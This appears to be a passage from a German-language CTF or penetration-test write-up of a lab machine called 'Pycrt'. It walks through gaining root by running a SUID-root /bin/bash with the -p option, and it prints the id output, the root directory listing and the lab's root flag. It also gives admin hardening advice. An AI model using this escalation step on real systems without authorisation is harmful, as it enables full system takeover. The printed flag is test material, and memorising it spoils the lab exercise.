**Analyse:** In der Shell als pycrtlake (die bereits eine aufgewertete TTY zu sein scheint) werden mehrere Befehle ausgeführt: - id: Bestätigt weiterhin uid=1000(pycrtlake). - ls -al /bin/bash: Zeigt die Berechtigungen von /bin/bash. Entscheidend ist hier -rwsr-sr-x. Das s in den Benutzer- und Gruppenberechtigungen bedeutet, dass das SUID-Bit und das SGID-Bit gesetzt sind. Da die Datei root gehört, wird /bin/bash beim Ausführen mit der effektiven UID (euid) von Root ausgeführt, wenn bestimmte Bedingungen erfüllt sind (oder eben nicht durch Sicherheitsmechanismen verhindert wird). - /bin/bash -p: Führt Bash mit der Option -p aus. Wenn eine Shell mit gesetztem SUID-Bit mit der Option -p gestartet wird, versucht sie *nicht*, die effektive UID auf die reale UID des Benutzers zurückzusetzen. Sie behält die effektiven Root-Rechte bei. - Der Prompt ändert sich von bash-5.0$ zu bash-5.0#, was typischerweise eine Root-Shell anzeigt. - id (in der neuen Shell): Zeigt nun euid=0(root) und egid=0(root). Das bedeutet, der aktuelle Prozess läuft mit effektiven Root-Rechten!
**Bewertung:** Exzellent! Dies ist der klassische Weg, eine SUID-Bash-Binary zur Privilegienerweiterung zu nutzen. Die sudo-Regel für gtkwave war hier nicht direkt der auslösende Faktor für die Root-Shell, sondern das Vorhandensein einer SUID-Root-Bash und die Verwendung von bash -p. Es ist möglich, dass der sudo gtkwave-Aufruf in einer anderen Shell (hier nicht gezeigt) die Umgebung so beeinflusst hat, dass bash -p nun effektiv Root-Rechte erlangt, oder dass die gtkwave-Sudo-Regel hier eine falsche Fährte war und die SUID-Bash der direkte Weg ist, sobald man als pycrtlake agiert.
**Empfehlung (Pentester):** Sie haben nun effektive Root-Rechte. Sie können jetzt die Root-Flag lesen und haben volle Kontrolle über das System.
**Empfehlung (Admin):** SUID-Root-Berechtigungen für Shells wie bash sind extrem gefährlich und sollten auf Produktivsystemen niemals gesetzt sein (es sei denn, es gibt einen sehr spezifischen, gut verstandenen und abgesicherten Grund). Moderne Systeme versuchen oft, die Ausnutzung von SUID-Shells durch Mechanismen wie setuid_drop_privs zu verhindern, aber die -p-Option kann dies manchmal umgehen. Führen Sie regelmäßige Suchen nach SUID/SGID-Binaries durch (find / -perm /6000 -type f 2>/dev/null) und entfernen Sie unnötige SUID/SGID-Bits.
Proof of Concept (Root Access)
Dieser Abschnitt demonstriert die erfolgreiche Erlangung von Root-Rechten auf dem Zielsystem. Dies wurde durch die Ausnutzung einer SUID-gesetzten /bin/bash-Executable erreicht. Nachdem Zugriff als Benutzer pycrtlake erlangt wurde, konnte durch Aufruf von /bin/bash -p eine Shell mit effektiven Root-Privilegien gestartet werden.
**Kurzbeschreibung:** Der Benutzer pycrtlake hatte Zugriff auf eine /bin/bash-Datei, bei der das SUID-Bit gesetzt war und die dem Benutzer root gehörte. Durch den Aufruf bash -p wurde verhindert, dass die Shell ihre effektiven Root-Rechte abgibt, was zu einer Root-Shell führte.
**Voraussetzungen:**
- Shell-Zugriff als Benutzer pycrtlake.
- Vorhandensein einer /bin/bash-Datei, die root gehört und bei der das SUID-Bit gesetzt ist.
**Schritt-für-Schritt-Anleitung:**
- Nach Erhalt einer Shell als pycrtlake werden die Berechtigungen von /bin/bash überprüft (ls -al /bin/bash).
- Wenn das SUID-Bit gesetzt ist, wird /bin/bash -p ausgeführt.
- Der id-Befehl in der neuen Shell bestätigt euid=0(root).
uid=1000(pycrtlake) gid=1000(pycrtlake) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(pycrtlake)
**Analyse:** Der Befehl id wird in der Shell ausgeführt, die mit /bin/bash -p gestartet wurde. Die Ausgabe bestätigt euid=0(root), was bedeutet, dass der aktuelle Prozess mit effektiven Root-Privilegien läuft.
**Erwartetes Ergebnis & Beweismittel:** Fantastisch, das Ziel ist erreicht! Wir haben nun vollen Root-Zugriff auf das System "Pycrt".
total 44
drwx------ 7 root root 4096 Apr 4 23:59 .
drwxr-xr-x 18 root root 4096 Mar 18 20:37 ..
lrwxrwxrwx 1 root root 9 Mar 18 21:18 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 4 root root 4096 Apr 4 22:04 .cache
drwx------ 3 root root 4096 Apr 4 21:00 .gnupg
drwxr-xr-x 3 root root 4096 Mar 18 21:04 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1024 Mar 30 21:29 .rnd
-rw-r--r-- 1 root root 39 Apr 4 23:59 root.txt
drw------- 2 root root 4096 Apr 4 23:57 .ssh
drwxr-xr-x 8 root root 4096 Apr 5 07:57 .weechat
**Analyse:** Mit Root-Rechten wechselt der Pentester in das Home-Verzeichnis des Root-Benutzers (cd ~, was zu /root führt) und listet dessen Inhalt auf. Die Datei root.txt ist sichtbar.
**Bewertung:** Standardvorgehen nach Erlangung von Root-Rechten zur Lokalisierung der Root-Flag.
**Risikobewertung:** Der erfolgreiche Root-Zugriff stellt das höchstmögliche Risiko dar. Ein Angreifer hat die vollständige Kontrolle über das System.
flag{e80ecc46ca5e00bf8a51c47f0cc3e868}
**Analyse:** Der Inhalt von root.txt wird ausgegeben und enthüllt die Root-Flag: flag{e80ecc46ca5e00bf8a51c47f0cc3e868}.
**Bewertung:** Mission erfüllt! Beide Flags wurden gefunden und das System wurde vollständig kompromittiert.